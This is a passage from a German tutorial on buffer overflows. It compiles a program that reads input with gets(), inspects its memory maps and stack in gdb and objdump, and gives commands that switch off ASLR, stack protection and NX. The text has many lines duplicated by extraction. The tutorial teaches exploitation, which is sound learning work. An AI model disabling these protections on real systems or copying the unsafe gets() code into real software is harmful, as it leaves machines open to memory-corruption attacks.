>gcc –ggdb –mpreferred-stack-boundary=2 –o hello_world

>gcc –ggdb –mpreferred-stack-boundary=2 –o hello_world

hello_world.c

>gcc –ggdb –mpreferred-stack-boundary=2 –o hello_world hello_world.c

Hier noch eine kurze Erklärung zu den Parametern:

-ggdb Mehr Informationen hinzufügen, welche über gdb abgerufen werden können

-mpreferred-stack-boundary=2

Stellt den Speicherplatz für verschiedene Variablen ein (mehr dazu in den man-Pages).

-o hello_world So heißt die kompilierte Datei.

So nun wollen wir unser geschriebenes Programm natürlich auch testen.

>./hello_world

>./hello_world

Hello World.

>./hello_world Hello World.

Es scheint alles ganz gut zu funktionieren. Der Computer springt beim ausführen dieser Datei in die Zeile „main“ und arbeitet von dort das Programm von oben nach unten ab. Es ruft nur die Funktion „printf“ auf und übergibt dieser den Parameter „Hello World.\n“. Das „\n“ Zeichen weißt den PC an, eine neue Zeile am Ende zu erstellen.

Analyse der Speichersegmente

Wir erweitern unseren Quellcode nun ein wenig, damit wir uns die Speichersegmente ansehen können. Unser neuer Quellcode:

#include <stdio.h>

main()

{

char buffer[10]; gets(buffer); printf(“Hello World.\n”); printf(“Eingabe: %s\n”,buffer);

}

Wir kompilieren das Programm wieder. Dazu müssen wir im Terminal nur die Taste mit dem Pfeil nach oben ein paar Mal drücken, bis wir den alten Befehl wieder bekommen. Dieses Mal sollten wir eine Warnung bekommen, wegen der Funktion gets(). Diese Warnung ignorieren wir erst einmal. Starten wir das Programm:

>./hello world

Jetzt müssen wir wegen der Funktion gets() irgendetwas eingeben, was anschließend in „buffer“ steht.

123

Hello World. Eingabe: 123

Alles hat wie erwartet funktioniert, wir starten nun das Programm noch einmal, aber geben noch nichts ein. Nun öffnen wir einen zweiten Terminal und schreiben folgendes hinein:

>ps –aux | grep hello_world

Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html

 

rifler

4172

0.0

0.0

1656

312 pts/0

S+

16:00

0:00 ./hello_world

 

rifler

4198

0.0

0.0

3344

796 pts/1

R+

16:02

0:00 grep hello_world

Hier sehen wir, dass unser Programm mit der Prozess-ID 4172 läuft. Diese Ausgabe wird bei euch wahrscheinlich eine andere ID haben. Die zweite angezeigte ID ist von unserem gerade ausgeführten „grep“ Befehl. Über „ps –aux“ listen wir alle Programme-ID´s auf und über „|“ weißen wir den Computer an, dass noch ein weiterer Befehl folgt, hier nämlich „grep hello_world“ wodurch wir nur die Ausgaben suchen, wo die Zeichenkette „hello_world“ darin vorkommt. Die Groß- und Kleinschreibung sind hier natürlich sehr wichtig.

In dem Verzeichnis „/proc“ legt Linux alle Laufzeit-Informationen über Programme ab. Also sehen wir uns nun dieses Verzeichnis erst einmal an.

>ls /proc

uns nun dieses Verzeichnis erst einmal an. >ls /proc Wir sehen also einige Ordner mit Nummern

Wir sehen also einige Ordner mit Nummern als Name. Unter anderem auch den Ordner „4172“. Wir wechseln also in diesen Ordner:

>cd /proc/4172

>cd /proc/4172

>ls

>cd /proc/4172 >ls
also in diesen Ordner: >cd /proc/4172 >ls Wir sehen die Datei „maps“. Deren Inhalt untersuchen wir

Wir sehen die Datei „maps“. Deren Inhalt untersuchen wir nun etwas näher.

>cat maps

 

08048000-08049000 r-xp 00000000 08:01 40410 08049000-0804a000 r--p 00000000 08:01 40410 0804a000-0804b000 rw-p 00001000 08:01 40410

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

b7f2f000-b7f30000 rw-p b7f2f000 00:00 0

 

b7f30000-b808c000 r-xp 00000000 08:01 25399 b808c000-b808d000 ---p 0015c000 08:01 25399 b808d000-b808f000 r--p 0015c000 08:01 25399 b808f000-b8090000 rw-p 0015e000 08:01 25399

/lib/tls/i686/cmov/libc-2.9.so

 

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

b8090000-b8093000 rw-p b8090000 00:00 0 b809f000-b80a2000 rw-p b809f000 00:00 0

 

b80a2000-b80a3000 r-xp b80a2000 00:00 0

 

[vdso]

 

b80a3000-b80bf000 r-xp 00000000 08:01 8103 b80bf000-b80c0000 r--p 0001b000 08:01 8103 b80c0000-b80c1000 rw-p 0001c000 08:01 8103

/lib/ld-2.9.so

 

/lib/ld-2.9.so

/lib/ld-2.9.so

bf9ac000-bf9c1000 rw-p bffeb000 00:00 0

 

[stack]

 

Seite 20 von 86

Hier sehen wir, welche Speicherplätze für welche Segmente freigehalten werden. Uns interessiert hauptsächlich der Stack. Zuerst einmal sehen wir, dass dieser die höchsten Adressen hat, nämlich „bf9ac000“ bis „bf9c1000“. Das deckt sich auch mit unserer Theorie, wo wir gelernt haben, dass der Stack am oberen Ende des Speichers ist und in Richtung der niedrigeren Adressen wächst. Wir merken uns die Anfangs- und Endadresse des Stacks:

Stack: bf9ac000-bf9c1000

Außerdem können wir uns auch ansehen, welche Segmente gelesen, geschrieben und ausgeführt werden können. Das sehen wir an den rwx-Zeichen.

Nun gehen wir wieder in unser erstes Terminal und beenden unser Programm, indem wir irgendetwas (z.b. „123“) eingeben. Wir starten das Programm noch einmal neu („./hello_world“) und geben wieder nichts ein.

Nun nehmen wir wieder unser zweites Terminal und schreiben dort folgendes hinein:

>ps –aux | grep hello_world

Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html

 

rifler

4509

0.0

0.0

1656

312 pts/0

S+

16:22

0:00 ./hello_world

 

rifler

4511

0.0

0.0

3344

804 pts/1

S+

16:22

0:00 grep hello_world

Nun sehen wir, dass unser Programm die Prozess-ID „4509“ hat. Also sehen wir uns die maps-Datei von dieser ID an.

>cat /proc/4509/maps

 

08048000-08049000 r-xp 00000000 08:01 40410 08049000-0804a000 r--p 00000000 08:01 40410 0804a000-0804b000 rw-p 00001000 08:01 40410

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

b7f40000-b7f41000 rw-p b7f40000 00:00 0

 

b7f41000-b809d000 r-xp 00000000 08:01 25399 b809d000-b809e000 ---p 0015c000 08:01 25399 b809e000-b80a0000 r--p 0015c000 08:01 25399 b80a0000-b80a1000 rw-p 0015e000 08:01 25399

/lib/tls/i686/cmov/libc-2.9.so

 

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

b80a1000-b80a4000 rw-p b80a1000 00:00 0 b80b0000-b80b3000 rw-p b80b0000 00:00 0

 

b80b3000-b80b4000 r-xp b80b3000 00:00 0

 

[vdso]

 

b80b4000-b80d0000 r-xp 00000000 08:01 8103 b80d0000-b80d1000 r--p 0001b000 08:01 8103 b80d1000-b80d2000 rw-p 0001c000 08:01 8103

/lib/ld-2.9.so

 

/lib/ld-2.9.so

/lib/ld-2.9.so

bfcbc000-bfcd1000 rw-p bffeb000 00:00 0

 

[stack]

 

Stack: bfcbc000-bfcd1000

Vergleichen wir nun die Adressen:

Stack von ID 4172: bf9ac000-bf9c1000 Stack von ID 4509: bfcbc000-bfcd1000

Wir erkennen, dass sich die Adressen vom Stack verändert haben, aber warum ist das so?

Wir werden später kennen lernen, dass wir mit bestimmten Adressen etwas berechnen müssen, damit wir erfolgreich das Programm exploiten können. Ändern sich nun diese Adressen, so wird dies erheblich erschwert. Genau deshalb wurde „ASLR“ (Address space layout randomization) erfunden, welches eben die Stack-Adressen immer verändert.

Wir werden uns später ansehen, welche Techniken dagegen eingesetzt werden können, doch für den Anfang sollten wir dieses Feature ausschalten. Übrigens ist dieses Feature nur bei dem Linuxkernel ab 2.6 aktiviert. Unsere Versions-Nummer erhalten wir so:

>uname -a

 

Linux rifler-desktop 2.6.28-14-generic #47-Ubuntu SMP Sat Jul

25 00:28:35 UTC 2009 i686 GNU/Linux

 

Hier sehen wir, dass wir den Kernel 2.6 benutzen und deshalb gibt es hier ASLR. So als nächstes schalten wir ASLR aus:

>cat /proc/sys/kernel/randomize_va_space

>cat /proc/sys/kernel/randomize_va_space

1

>cat /proc/sys/kernel/randomize_va_space 1

Möglicherweise bekommt ihr hier auch die Ausgabe „2“. Auf jeden Fall müssen wir diesen Wert auf 0 ändern, damit wir ASLR ausschalten, dazu benötigen wir aber super-user Rechte. Dazu aktivieren wir zuerst den Befehl „su“:

>sudo passwd

Hier gebt ihr nun die gefragten Passwörter ein und legt so ein neues Passwort für „su“ fest. Als nächstes schreibt ihr folgendes:

>su
>su

Nun gebt ihr das zuvor festgelegte Passwort ein. Anschließend schreibt ihr folgendes in den Terminal:

>echo 0 > /proc/sys/kernel/randomize_va_space

>exit

 

>cat /proc/sys/kernel/randomize_va_space

 

0

 

Über „echo 0 > „ schreiben wir also die 0 in die Datei. Anschließend beenden wir den „su“ Befehl und lassen uns noch einmal den Inhalt anzeigen. Erscheint eine „0“ auf dem Bildschirm, so haben wir alles richtig gemacht.

Anmerkung:

Bei neueren OS Versionen kann es auch nötig sein, dass du NX (No Execute) ausschaltest. NX verhindert das Ausführen von Code auf dem Stack, wodurch wir bei Exploits unseren Code nicht ausführen können. Es gibt verschiedene Möglichkeiten NX auszuschalten, wir werden das Programm execstack dazu verwenden. Über ein

>apt-get install prelink

laden wir das Programm herunter und über

>execstack –s datei

markieren wir, dass in „datei“ der Stack ausführbar sein soll.

Und nun überprüfen wir das ganze noch. Dazu beenden wir unser „hello_world“ Programm durch Eingabe von 123 und starten es neu. Im zweiten Terminal wieder:

>ps –aux | grep hello_world

Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html

 

rifler

4867

0.0

0.0

1656

312 pts/0

S+

16:44

0:00 ./hello_world

 

rifler

4869

0.0

0.0

3344

804 pts/1

S+

16:44

0:00 grep hello_world

>cat /proc/4867/maps

 

08048000-08049000 r-xp 00000000 08:01 40410 08049000-0804a000 r--p 00000000 08:01 40410 0804a000-0804b000 rw-p 00001000 08:01 40410

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

b7e6e000-b7e6f000 rw-p b7e6e000 00:00 0

 

b7e6f000-b7fcb000 r-xp 00000000 08:01 25399 b7fcb000-b7fcc000 ---p 0015c000 08:01 25399 b7fcc000-b7fce000 r--p 0015c000 08:01 25399 b7fce000-b7fcf000 rw-p 0015e000 08:01 25399

/lib/tls/i686/cmov/libc-2.9.so

 

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

b7fcf000-b7fd2000 rw-p b7fcf000 00:00 0 b7fde000-b7fe1000 rw-p b7fde000 00:00 0

 

b7fe1000-b7fe2000 r-xp b7fe1000 00:00 0

 

[vdso]

 

b7fe2000-b7ffe000 r-xp 00000000 08:01 8103 b7ffe000-b7fff000 r--p 0001b000 08:01 8103 b7fff000-b8000000 rw-p 0001c000 08:01 8103

/lib/ld-2.9.so

 

/lib/ld-2.9.so

/lib/ld-2.9.so

bffeb000-c0000000 rw-p bffeb000 00:00 0

 

[stack]

 

Stack: bffeb000-c0000000

Und zur Überprüfung das „hello_world“ Programm wieder beenden und neu starten. Anschließend noch einmal im zweiten Terminal:

>ps –aux | grep hello_world

Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html

 

rifler

4982

0.0

0.0

1656

312 pts/0

S+

16:57

0:00 ./hello_world

 

rifler

4984

0.0

0.0

3344

804 pts/1

S+

16:57

0:00 grep hello_world

>cat /proc/4982/maps

 

08048000-08049000 r-xp 00000000 08:01 40410 08049000-0804a000 r--p 00000000 08:01 40410 0804a000-0804b000 rw-p 00001000 08:01 40410

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

/home/rifler/Tutorial/bla/hello_world

b7e6e000-b7e6f000 rw-p b7e6e000 00:00 0

 

b7e6f000-b7fcb000 r-xp 00000000 08:01 25399 b7fcb000-b7fcc000 ---p 0015c000 08:01 25399 b7fcc000-b7fce000 r--p 0015c000 08:01 25399 b7fce000-b7fcf000 rw-p 0015e000 08:01 25399

/lib/tls/i686/cmov/libc-2.9.so

 

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

/lib/tls/i686/cmov/libc-2.9.so

b7fcf000-b7fd2000 rw-p b7fcf000 00:00 0 b7fde000-b7fe1000 rw-p b7fde000 00:00 0

 

b7fe1000-b7fe2000 r-xp b7fe1000 00:00 0

 

[vdso]

 

b7fe2000-b7ffe000 r-xp 00000000 08:01 8103 b7ffe000-b7fff000 r--p 0001b000 08:01 8103 b7fff000-b8000000 rw-p 0001c000 08:01 8103

/lib/ld-2.9.so

 

/lib/ld-2.9.so

/lib/ld-2.9.so

bffeb000-c0000000 rw-p bffeb000 00:00 0

 

[stack]

 

Stack: bffeb000-c0000000

Und nun vergleichen wir die Adressen:

Stack mit ID 4867: bffeb000-c0000000 Stack mit ID 4982: bffeb000-c0000000

Wie wir sehen haben sich die Adressen nicht verändert! Also haben wir erfolgreich ASLR ausgeschaltet.

!!!WICHTIG!!!

Bitte überprüft jedes Mal, falls ein Bufferoverflow nicht funktioniert, ob auch wirklich ASLR ausgeschalten ist. Außerdem überprüft bitte auch immer, ob der Stack als ausführbar markiert wurde! Dadurch erspart ihr euch eine sehr lange und unnötige Fehlersuche!

Hier nochmals kurz die Zusammenfassung:

ASLR Ausschalten:

>su

 

>echo 0 > /proc/sys/kernel/randomize_va_space

>exit

 

>cat /proc/sys/kernel/randomize_va_space

 

0

 

Stack Smashing Protection von gcc ausschalten:

>gcc –fno-stack-protector –o ausgabe eingabe.c

NX Ausschalten:

>apt-get install prelink

>apt-get install prelink

>execstack –s datei

>apt-get install prelink >execstack –s datei

Es gibt noch andere Möglickeiten NX auszuschalten, um es beispielsweise bei jedem Systemstart automatisch auszuschalten. Die Vorgehensweise dabei variiert aber von OS zu OS, weshalb ich hier nur Schlagwörter dazu geben kann. Beispielsweise kann der Kernel mit „noexec=off“ gestartet werden. Eine andere Möglichkeit ist der folgende Befehl:

>sysctl -w kernel.exec-shield=0

Und nochmal ein Eck einfacher, direkt beim kompilieren mit gcc die Option „–z execstack“.

>gcc -z execstack -o ausgabe eingabe.c

Also bitte immer, wenn ein Programm nicht funktioniert, zuerst ASLR, Stack Smashing Protection und NX ausschalten! Da ich immer wieder mit unterschiedlichen OS und gcc Versionen in dem Tut gearbeitet habe, fehlen teilweise diese Befehle!!

Analyse mit GDB

Bevor wir das Programm in analysieren, kompilieren wir es noch einmal, aber dieses Mal mit einer weiteren Option:

>gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector –

>gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector –

o hello_world hello_world.c

>gcc –ggdb –mpreferred-stack-boundary=2 –fno-stack-protector – o hello_world hello_world.c

Was dieser zusätzliche Parameter genau bewirkt, erkläre ich später noch. Vorerst reicht uns das Wissen, dass wir dadurch einen leichteren Assembler-Code sehen, wodurch wir uns mehr auf die allgemeine Funktionsweise konzentrieren können. Also öffnen wir nun das Programm in gdb.

>gdb hello_world

Anschließend können wir hier nun einige Befehle eingeben. Um gdb zu verlassen, können wir den Befehl „quit“ benutzen. Aber zuerst sehen wir uns noch einmal den Quellcode an. Das geht über den Befehl „list“ (funktioniert nur, wenn ihr bei gcc mit –ggdb Option kompiliert habt).

>list
>list

#include <stdio.h>

main()

{

char buffer[10]; gets(buffer); printf(“Hello World.\n”); printf(“Eingabe: %s\n”,buffer);

}

Als nächstes disassemblieren wir die Funktion „main()“. Das heißt, wir schauen uns den Assembler Code an, den GCC aus dem oberen Quellcode erstellt hat. Dazu benutzen wir den befehl „disassemble“ von gdb. Damit wir schneller arbeiten können, reicht es, wenn wir nur die kürzeste, eindeutige Version dieses Befehles angeben und diese ist „disas“, weil nur „disa“ könnte auch der Befehl „disable“ sein.

>disas main

 

Dump of assembler code for function main:

 

0x08048424 <main+0>:

push

%ebp

 

0x08048425 <main+1>:

mov

%esp,%ebp

 

0x08048427 <main+3>:

sub

$0x18,%esp

0x0804842a <main+6>:

lea

-0xa(%ebp),%eax

 

0x0804842d <main+9>:

mov

%eax,(%esp)

0x08048430 <main+12>:

call

0x804832c <gets@plt>

 

0x08048435 <main+17>:

movl

$0x8048520,(%esp)

 

0x0804843c <main+24>:

call

0x804835c <puts@plt>

 

0x08048441 <main+29>:

lea

-0xa(%ebp),%eax

 

0x08048444 <main+32>:

mov

%eax,0x4(%esp)

0x08048448 <main+36>:

movl

$0x804852d,(%esp)

 

0x0804844f <main+43>:

call

0x804834c <printf@plt>

0x08048454 <main+48>:

leave

 

0x08048455 <main+49>:

ret

 

So was wir nun sehen ist der erzeugte Assembler Code. Diese Anweisungen „kann“ der Computer nun lesen, was so aber auch noch nicht ganz stimmt. Jede dieser Anweisungen hat einen bestimmten hexadezimalen Code und diesen liest der Computer ein. GDB wandelt diese hex Codes nur in die für Menschen lesbaren Befehle um. Das werden wir uns aber später näher ansehen.

Wir können main als eine Funktion betrachten und wir haben schon gelernt, dass am Anfang EIP abgespeichert werden muss. Dies geschieht schon über den Funktionsaufruf, nicht innerhalb der Funktion, weshalb wir diesen Befehl hier nicht sehen. Als nächstes muss der EBP (Base bzw. Frame Pointer) der alten Funktion auf dem Stack gesichert werden. Dort bekommt er den neuen Namen SFT (Stack Frame Pointer). Dies geschieht über die erste Anweisung:

0x08048424 <main+0>:

push

%ebp

Es wird also ein push-Befehl aufgerufen und wir haben schon gelernt, dass dadurch Daten auf dem Stack gespeichert werden, nämlich hier %ebp, welches das EBP Register repräsentiert. Ganz links sehen wir eine längere hexadezimale Zahl (erkennbar an dem vorangestellten 0x). Dies ist die Adresse der aktuellen Anweisung. Wird dieses Programm aufgerufen, so wird in das Register EIP 0x08048424 geschrieben. Außerdem sehen wir eine zweite Spalte mit <main+0>. Dies spiegelt zusätzlich die aktuelle Adresse, nämlich der PC soll die Anfangsadresse nehmen und dazu 0 addieren. Sehen wir uns das etwas näher an:

0x08048424 <main+0>:

0x08048448 <main+36>:

Ich habe jetzt zwei Zeilen herausgegriffen, an denen ich das Prinzip demonstrieren werde. Zuerst wandeln wir main+36 in hex um. Dazu starten wir unter Windows den Taschenrechner (Start-Ausführen-calc). Bei dem Reiter Ansicht schalten wir die Wissenschaftliche Ansicht ein. Nun markieren wir das RadioButton „Dez“ welches für dezimales System steht. Anschließend geben wir die Zahl 36 ein. Nun wandeln wir durch Auswahl des hex- RadioButtons die Zahl um und erhalten 24. Wenn wir nun diese 24 zu unserer Anfangsadresse 0x08048424 addieren, so erhalten wir 0x08048448. Also ist diese zweite Spalte nur eine vereinfachte Darstellung für die Befehls-adressen.

Als nächstes müssen wir natürlich auch den neuen EBP Wert festlegen. Wie wir bereits gelernt haben, muss dazu nur ESP in EBP kopiert werden, da ESP ja gerade auf das obere Ende des Stacks verweist. Das wird auch über folgende Anweisung gemacht:

0x08048425 <main+1>:

mov

%esp,%ebp

Hier sehen wir einen neuen Befehl, nämlich „mov“ (move). Wir nehmen das erste Register und schreiben den Wert in das zweite übergebene, also %esp in %ebp und genau das wollten wir ja. Anschließend müssen wir noch Platz auf dem Stack für lokale Variablen schaffen.

0x08048427 <main+3>:

sub

$0x18,%esp

Und wieder ein neuer Befehl, nämlich „sub“ (Subtracting). Dadurch ziehen wir also den ersten Parameter von der Adresse des zweiten Parameters ab, nämlich 0x18 von %esp. Wir wandeln 0x18 in dezimal um und erhalten 24. Also werden 24 Byte Speicher reserviert. Aber halt – wir haben doch nur einen Puffer mit der Größe 10 Bytes erstellt, warum wird nun so viel Speicher reserviert? Die Antwort ist, dass für Funktionsaufrufe bzw. für deren Parameter auch genügend Platz vorhanden sein muss und von daher benötigen wir nun mal 24 Byte. Schauen wir uns nun den nächsten Codeabschnitt an:

0x0804842a <main+6>:

lea

-0xa(%ebp),%eax

 

0x0804842d <main+9>:

mov

%eax,(%esp)

 

0x08048430 <main+12>:

call

0x804832c <gets@plt>

Hier noch der C-Quellcode:

char buffer[10];

char buffer[10];

gets(buffer);

char buffer[10]; gets(buffer);

Der Befehl „lea“ steht für „load effective address“ und dadurch erhalten wir also eine Adresse. Der erste Parameter ist „-0xa(%ebp)“ und bedeutet, dass 0xa (gleich 10 in dezimal) von EBP abgezogen werden sollen. Anschließend soll diese Adresse genommen werden und in das Register %eax geschrieben werden. Hier erkennen wir, dass die Anfangsadresse von unseren 10 Bytes großen Puffer berechnet wird, indem nämlich genau diese 10 Byte von EBP abgezogen werden. Anschließend wird diese Adresse über den „mov“ Befehl auf den Stack gelegt (und bildet somit unseren Übergabeparameter für die Funktion gets()). Anschließend wird über „call“ die Funktion gets() aufgerufen.

Damit ich euch hier nicht irgendetwas erzähle, überprüfen wir das ganze natürlich noch. Dazu setzen wir einen Breakpoint bei dem Funktionsaufruf. Das bedeutet, dass das Programm vor dem Aufruf der Funktion anhält und wir uns die einzelnen Register ansehen können. Dies geschieht über folgenden Befehl:

>break *0x08048430

>break *0x08048430 Breakpoint 1 at 0x8048430: file hello_world.c, line 6.
Breakpoint 1 at 0x8048430: file hello_world.c, line 6.

Breakpoint 1 at 0x8048430: file hello_world.c, line 6.

Die angegebene Adresse ist die Befehlsadresse von call gets() und muss gegebenenfalls von euch auf eure Adresse angepasst werden. Übrigens könnt ihr die Adresse markieren und anschließend strg+shift+c drücken um sie zu kopieren und strg+shift+v um sie einzufügen.

Als nächstes starten wir das Programm:

> run
> run

Ihr solltet eine Meldung bekommen, dass ihr den Breakpoint erreicht habt. Nun sehen wir uns %eax an, da dort schließlich die Adresse von unserem Puffer abgespeichert sein sollte.

>info register eax

 

eax

0xbff8fc3e

-1074201538

Über „info register“ können wir uns also einzelne Registerinhalte ansehen. Wird kein weiteres Register angegeben, so werden alle Register angezeigt. In der zweiten Spalte haben wir den Inhalt in hex und in der dritten in dezimal. Da jetzt aber noch nichts in diesem Puffer steht, macht es auch keinen Sinn, ihn auszulesen. (wir würden nur Daten bekommen, welche früher an dieser Stelle gespeichert wurden und noch nicht überschrieben wurden.) Deshalb gehen wir zum nächsten Befehl, um etwas in unserem Puffer zu schreiben:

>s

 

>123

 

7

printf("Hello World.\n");

Zuerst haben wir „s“ für „step“ eingegeben, um zum nächsten Befehl zu kommen. Dieser erwartet unseren Input, also geben wir zum Test „123“ ein. Anschließend wird das Programm wieder angehalten und wir befinden uns vor dem Aufruf von printf(). Nun können wir uns den Inhalt von unserem Puffer ansehen:

>x /s 0xbff8fc3e

 

0xbff8fc3e:

"123"

Über den Befehl „x“ können wir Daten von einer bestimmten Adresse an auslesen. Wir geben als Option „/s“ an, damit sagen wir gdb, dass wir einen string auslesen möchten, also alles bis zum Nullbyte-Terminierungszeichen %00. Anschließend geben wir noch die Adresse an. Wir erhalten wie erwartet unseren Puffer ausgegeben, in dem 123 steht. Den Befehl „x“ werden wir noch öfter brauchen, deshalb kann es nicht schaden, wenn ihr euch die Hilfe davon durchlest (>help x). Nun weiter mit dem Quellcode:

0x08048435 <main+17>:

movl

$0x8048520,(%esp)

 

0x0804843c <main+24>:

call

0x804835c <puts@plt>

Und hier das ganze in C:

printf(“Hello World.\n”);

Zuerst wird die Adresse des Strings „Hello World.\n“ auf den Stack gelegt. Das funktioniert über den „movl“ welcher sich sehr ähnlich zu „mov“ verhält, nur kopiert dieser Befehl mehr Daten (l steht für large). Also sollte sich unsere Zeichenkette bei der Adresse 0x8048520 befinden. Überprüfen wir das:

>x /s 0x8048520

 

0x8048520:

"Hello World."

Sehen wir uns nun den letzten Funktionsaufruf an:

0x08048441 <main+29>:

lea

-0xa(%ebp),%eax

 

0x08048444 <main+32>:

mov

%eax,0x4(%esp)

0x08048448 <main+36>:

movl

$0x804852d,(%esp)

 

0x0804844f <main+43>:

call

0x804834c <printf@plt>

C-Quellcode:

printf(“Eingabe: %s\n”,buffer);

Hier müssen wir also zwei Dinge auf den Stack speichern:

Die Zeichenfolge: „Eingabe: %s\n“

Den Puffer „buffer“

Die erste Zeile kennen wir bereits, wir laden die Adresse von „buffer“ in %eax. Anschließend schreiben wir diese auf den Stack, aber nicht direkt auf die Spitze des Stacks, sondern auf ESP+0x04. Die obersten 4 Bytes benötigen wir schließlich noch für die Adresse unserer Zeichenkette. Diese wird über den 3ten Befehl auf den Stack gelegt. Anschließend wird printf() aufgerufen. Sehen wir uns zur Kontrolle noch die Zeichenkette „Eingabe: %s\n“ an:

>x /s 0x804852d

 

0x804852d:

"Eingabe: %s\n"

Als nächsten Schritt sehen wir uns noch den Stack-Frame an, also die Daten ab dem abgespeicherten EIP Wert (RET). Zuerst geben wir „info frame“ ein.

>info frame Stack level 0, frame at 0xbff8fc50: eip = 0x8048435 in main (hello_world.c:7); saved
>info frame
Stack level 0, frame at 0xbff8fc50:
eip = 0x8048435 in main (hello_world.c:7); saved eip
0xb7e16775
source language c.
Arglist at 0xbff8fc48, args:
Locals at 0xbff8fc48, Previous frame's sp is 0xbff8fc50
Saved registers:
ebp at 0xbff8fc48, eip at 0xbff8fc4c

Wir sehen hier eip, welcher auf den nächsten Befehl zeigt – also auf main+17. Außerdem sehen wir RET (saved eip). Zusätzlich sehen wir unten noch an welcher Adresse EBP und EIP abgespeichert sind, der Rest ist zurzeit für uns noch nicht von Bedeutung. Wir kontrollieren dies nun noch mit Hilfe des „x“ Befehles.

>x /8xw $esp

>x /8xw $esp 0xbff8fc30: 0xbff8fc3e 0x08048370 0x0804847b 0x3231eff4 0xbff8fc40: 0x08040033 0x08048370 0xbff8fca8
0xbff8fc30: 0xbff8fc3e 0x08048370 0x0804847b 0x3231eff4 0xbff8fc40: 0x08040033 0x08048370 0xbff8fca8 0xb7e16775

0xbff8fc30: 0xbff8fc3e 0x08048370 0x0804847b 0x3231eff4 0xbff8fc40: 0x08040033 0x08048370 0xbff8fca8 0xb7e16775

Wir lassen uns 8 words (Parameter w, ein word = 4 Bytes) anzeigen und diese in hex (Parameter x) beginnend von $esp ausgeben. Mit dem dritten Befehl im Assembler Quellcode haben wir 24 Byte von ESP abgezogen, d.h. nach 6 words (Also 6*4 Bytes = 24 Bytes) sollten wir SFP und anschließend RET sehen. Schreiben wir nun die Informationen heraus:

SFP = 0xbff8fca8

RET = 0xb7e16775

Außerdem können wir dies auch noch anhand der Adressen von „info frame“ kontrollieren. EBP hat 0xbff8fc48. Wir sehen beim Stack in der untersten Zeile die Adresse 0xbff8fc40 und zu dieser müssen wir 8 Byte hinzu zählen, da 2 words (mit jeweils 4 Bytes) zwischen dem linken Anfang der Zeile und EBP sind. Dadurch erhalten wir genau 0xbff8fc48, passt also. Und EIP ist einfach nur 4 Bytes größer, stimmt also auch.

Betrachten wir nun unseren Stack nochmals und versuchen ihn „aufzulösen“:

0xbff8fc30: 0xbff8fc3e 0x08048370 0x0804847b 0x3231eff4

0xbff8fc40: 0x08040033 0x08048370

SFT

RET

 

Versuchen wir nun uns von der Spitze des Stacks hinunter zu arbeiten:

0xbff8fc3e = Addresse von „buffer“

Kontrolle:

>x /s 0xbff8fc3e

 

0xbff8fc3e:

"123"

Der „aufgelöste“ Stack:

0xbff8fc30: Adr.buffer 0x08048370 0x0804847b 0x3231eff4

0xbff8fc40: 0x08040033 0x08048370

SFT

RET

 

Jetzt liegen hier noch 5 weitere 4-Byte Blöcke auf dem Stack, aber was ist deren Zweck und welchen Inhalt haben sie? Ich möchte, dass du dich auch ein wenig anstrengst und etwas von diesem Tutorial lernst, deshalb solltest du jetzt versuchen, selbst darauf zu kommen. Ließ bitte nur weiter, wenn du entweder die Antwort kennst oder schon mindestens 10 Minuten selbst etwas ausprobiert hast. Alles was du wissen musst, hast du bereits gelernt. Du kennst die Theorie, den Quellcode, die GDB Befehle und der Rest ist reines logisches Denken. Viel Glück.

Hier nur weiterlesen, falls du die Antwort schon kennst:

Der Rest auf dem Stack sind einfach nur Überreste. Wir haben mit der Zeile main+3 einfach nur 24 Byte Daten auf dem Stack angefordert, allerdings haben wir nur auf die ersten 4 Byte bis jetzt etwas geschrieben. Die anderen Werte sind Werte, welche vor unserer Funktion auf dem Stack gelegen sind, welche aber noch nicht überschrieben wurden. Im späteren Verlauf dieses Programms wird die Adresse von „buffer“ noch einmal überschrieben mit der Adresse von der Zeichenkette „Hello World“, danach noch einmal mit der Adresse „Eingabe: %s\n“ und die 4 Bytes danach werden auch noch belegt mit der Adresse von „buffer“.

Analyse mit objdump

Hier möchte ich wirklich nicht zu sehr in die Tiefe gehen, sondern nur die Arbeitsweise des Computers verdeutlichen, damit das Bild der Arbeitsweise eines PCs vollkommen ist. Wir sehen uns nun das abgespeicherte Programm an, nämlich in hex.

>objdump -d hello_world

Die Option „-d“ steht für „disassemble“ und dadurch können wir uns nun das Programm etwas näher ansehen. Wir erhalten ziemlich viel Output, aber wir werden uns nur den „main“ Teil ansehen, dieser sollte ca. so aussehen:

08048424 <main>:

8048424: 55

push

%ebp

8048425: 89 e5

mov

%esp,%ebp

8048427: 83 ec 18

sub

$0x18,%esp

804842a: 8d 45 f6

lea

-0xa(%ebp),%eax

804842d: 89 04 24

mov

%eax,(%esp)

8048430: e8 f7 fe ff ff

call

804832c <gets@plt>

8048435: c7 04 24 20 85 04 08

movl

$0x8048520,(%esp)

804843c: e8 1b ff ff ff

call

804835c <puts@plt>

8048441: 8d 45 f6

lea

-0xa(%ebp),%eax

8048444: 89 44 24 04

mov

%eax,0x4(%esp)

8048448: c7 04 24 2d 85 04 08

movl

$0x804852d,(%esp)

804844f: e8 f8 fe ff ff

call

804834c <printf@plt>

8048454: c9

leave

8048455: c3

ret

8048456: 90

nop

8048457: 90

nop

